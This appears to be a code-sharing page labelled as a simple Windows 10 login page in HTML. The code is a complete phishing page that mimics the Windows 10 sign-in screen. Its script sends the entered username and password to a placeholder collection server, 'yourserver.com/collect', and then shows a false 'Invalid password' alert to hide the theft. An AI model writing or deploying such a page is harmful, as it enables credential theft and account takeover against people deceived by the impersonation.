Win10 simple html
Simple login page in html
<!DOCTYPE html>
<html>
<head>
<title>Windows 10 Login</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background-color: #1a1a1a;
color: white;
text-align: center;
padding-top: 20%;
}
.login-container {
background-color: #2d2d2d;
border-radius: 8px;
display: inline-block;
padding: 20px;
}
input[type="text"], input[type="password"] {
padding: 10px;
margin: 10px;
border-radius: 5px;
border: none;
width: 200px;
}
input[type="submit"] {
padding: 10px 20px;
border-radius: 5px;
border: none;
background-color: #0078d7;
color: white;
cursor: pointer;
}
</style>
</head>
<body>
<div class="login-container">
<h1>Windows 10</h1>
<form id="login-form">
<input type="text" id="username" placeholder="Username" required><br>
<input type="password" id="password" placeholder="Password" required><br>
<input type="submit" value="Sign in">
</form>
</div>
<script>
document.getElementById('login-form').addEventListener('submit', function(e) {
e.preventDefault();
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
fetch('http://yourserver.com/collect', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'username=' + encodeURIComponent(username) + '&password=' + encodeURIComponent(password)
}).then(response => response.text())
.then(data => console.log(data));
// Redirect or show an error after submission
alert('Invalid password. Please try again.');
});
</script>
</body>
</html>
Last updated